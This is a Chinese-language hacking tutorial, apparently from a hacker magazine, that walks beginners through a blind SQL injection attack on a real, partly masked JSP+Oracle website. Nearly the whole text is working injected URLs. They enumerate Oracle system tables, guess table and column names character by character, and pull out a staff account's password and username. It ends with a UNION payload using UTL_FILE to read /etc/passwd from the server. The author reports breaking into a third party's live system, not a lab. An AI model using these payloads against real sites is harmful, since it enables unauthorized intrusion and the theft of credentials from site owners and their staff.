JSP+Oracle SQL Injection之旅
SQL Injection可謂是長盛不衰的話題了,從ASP+MSSQL到PHP+MYSQL,一路走來也可謂是一路艱辛,同時也造就了這個技術領域內高手如云:Pskey、小勇、isno等人成為一代偶像人物。其實只要我們靈活利用SQL語句,說不定就會給自己帶來意外的收獲,自己也能過過高手癮呢!本文是寫給菜鳥看的,高手們別砍我哦!誰叫我也是菜鳥一只呢!現(xiàn)在很多大型網(wǎng)站,像銀行、政府網(wǎng)站一般采用的是JSP+Oracle,從WEB程序來看,普遍存在的問題還是很嚴重的,希望廣大的程序員管理人員注意這方面的安全隱患。
今天我們的目標也是JSP+Oracle的網(wǎng)站,對它進行SQL Injection的測試,希望達到引伸、開拓這種技術的目的。日標站點:http://www.****jp.cn /viewBulletin.do?type=C&bulletin_id=200404010797。如圖1所示。
圖1
首先我們看看Oracle的系統(tǒng)數(shù)據(jù)庫:
all_tables 存放當前ID和其他用戶的所有表。
user_tables 存放當前用戶所有表。
user_tab_columns 存放當前用戶表的所有列。
這些東西是后面操作的基礎,是非常重要的。下面就看具體的操作過程了。首先需要看一下系統(tǒng)表是否存在,一般都是存在的,沒有就沒得玩了,只能回家抱孩子了。提交URL:http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from all_tables) and '1'='1
這里是想看一下有沒有“all_tables”這個系統(tǒng)表,將“and”后的結果和0比較,如果后面為真,這整個語句都為真,并能正常返回頁面,反之就不能正常返回了。
下面的判斷也是這個道理,相信大家都明白,我就不多說了。再依次提交:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables) and '1'='1
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns) AND '1'='1
返回如下結果,如圖2所示。
圖2
都正確返回,說明存在猜測的系統(tǒng)表。下面看我們怎么猜它的其他表名(注意:Oracle里的表名、列名都是要大寫的,要注意輸寫,還有下面用的到Length()、Substr()等函數(shù)的說明,請查看相關資料)。
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where substr(table_name,1,1)='P') and '1'='1
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where substr(table_name,1,2)='PL') and '1'='1
第二個字母為L,大家也可能用Ascii()來試試。得到一個表名,第一個字符為P,第二個字符為L。汗!一個一個的試,到后來才發(fā)現(xiàn)這里的步驟真是多余的……
我們再來看看這個表的長度,確定一下范圍才好猜,不然不知道要猜到什么時候才能結束:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where length(table_name)>8 and table_name like'%25PL%25') and '1'='1
沒有正確返回??磥聿粫笥?了,那我們試試等于8吧:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where length(table_name)=8 and table_name like'%25PL%25') and '1'='1
Yeah!正常返回,我們確定表名長度是8了。大家如果自己在猜測的時候,也可以用< >等來縮小范圍。下面我們繼續(xù)用上面的語句來猜測表名,最后得出的表名為PLAN_TAB。
TIPS:這里可以用Like來猜表,比如:看看有沒有什么ADMIN,USERS表什么的。
and 0<>(select count(*) from user_tables where table_name like '%25ADMIN%25') and '1'='1
and 0<>(select count(*) from user_tables where table_name like '%25USERS%25') and '1'='1
表名猜出來了,我們來檢測一下:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where table_name='PLAN_TAB') and '1'='1
正常返回。我們辛苦總算沒有白費,不過煙倒是犧牲了不少,不過革命尚未成功,同志仍需努力!繼續(xù)猜列名:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='PLAN_TAB' and column_name like '%25PASS%25') and '1'='1
試試有沒有PASS(一些很容易想到的我都試了)這個字段,結果很失望,什么都沒有。那有什么辦法將它猜出來呢?看下面的方法。
看來這個表里沒有什么敏感列名了,有點泄氣。再去翻翻Oracle的書,突然想到可以直接查列名,汗!可能是以前學MSSQL、MYSQL的時候形成固定思維了,忘了Oracle是不一樣的。那我們干脆來直接的
看看有沒有敏感列名吧!.
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25') and '1'='1
直接來猜看看有沒有PASS,和NAME這樣的列名。經(jīng)測試有LIKE ID/NAME/PASSWD這三個列名,但它們有可能不在同一個表里,那我就拿LIKE PASS這個來測試。先來看看有PASSWD這個列名對應的表名的長度:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25' and length(table_name)=8) and '1'='1
得到有NAME這個字段對應的表的長度是8,繼續(xù)猜到對應的表名:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25' and substr(table_name,1,1)='T') and '1'='1
它們會不會在同一個表里呢?看完下面就知道了。得到PASS對應表名第一個字符為T:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25' and substr(table_name,1,8)='T_PASSWD') and '1'='1
一個字符一個字符來猜,方法跟上面猜表的過程一樣,只是前面多了一個條件“column_name like '%25PASS%25'”。最后得到這個表名為:T_PASSWD,接下來當然得把Like ID/NMAE/ PASSWD的列名猜完整:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,-2,2)='ID') and '1'='1
可以確定ID兩個字符在最后面兩個,大家可以改變Sbustr()里的值,慢慢縮小范圍:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) fromuser_tab_columns where table_name='T_PASSWD' and substr(column_name,1,1)='S') and '1'='1
得到第一個字符為S。
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,1,2)='ST') and '1'='1
第二個字符為T。
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,1,3)='STA') and '1'='1
第三個為A……直到第八個字符。
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,1,8)=' STAFF_ID ') and '1'='1從這里就可以看出完全是同一個表了。其實遇到這么多次程序,還沒見過是分開建的表呢。最后得出表名是:T_PASSWD,列名有四個,分別是 STAFF_ID、STS、PASSWORD、LAST_DATE,后來證實這些猜解都是正確的(進了服務器就什么都看到咯,如圖3所示)。
圖3
以上的過程是很枯燥的,死了不少腦細胞,覺得和猜Access一樣。要是Oracle有像MSSQL月月秒年個直接暴庫、表的方法就好了。呵呵,接下來的事,當然是要搞個用戶名和密碼了。Come on!看看最小的STAFF_ID的值是多少:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 1=(select min(STAFF_ID) from T_PASSWD) and '1'='1
返回正常。呵呵,不要客氣它就是我們的目標,把它的Password搞出來先。好戲就要上演了,真還想看看《黑客帝國》里的動畫:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 0<>(select conut(*) from T_PASSWD where substr(PASSWORD,1,1)=’1’ and STAFF_ID=1) and '1'='1
當然大家也可以用Ascii()函數(shù)來猜,關于這方面很都前輩都說過了,這里就不再做說明,不然編輯說我騙稿費了,呵呵。猜不到10分鐘就出來了密碼:“19791108”,好像是生日喲。有密碼了,沒用戶還不行,接下來的事就簡單多了:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 0<>(select conut(*) from T_PASSWD where substr(STS,1,1)=’1’ and STAFF_ID=’T’) and '1'='1
一步一步來。步驟和上面的沒多大差別,先看看長度,再一個個來猜。這個在猜的時候用的時間就長了一點,花了我25分鐘最后得到帳戶是:“TANGBIN”,注入過程正式結束!
最后補充幾點:如果開放Public組的UTL_FILE則有可能讀取服務器上的文件,如果設置錯誤,可以得到任何文件,如:讀出/etc/passwd 文件,不過它要和Union聯(lián)合使用,如:union select 'hoge','../../../../../etc/passwd','1','1','1' from SOMETABLE--。關于Union查詢,黑防七期上angel的PHP注入文章里已經(jīng)介紹得比較詳細:前面的語句要構造假的條件,才能返回后面的查詢。當然,你也可以嘗試Update、 Insert、跨庫等,如果你想知道答案的話,自己來吧!相信黑防近期就會出這樣的文章了。當然如果你有什么好的辦法或者資料,記得給我一份喲。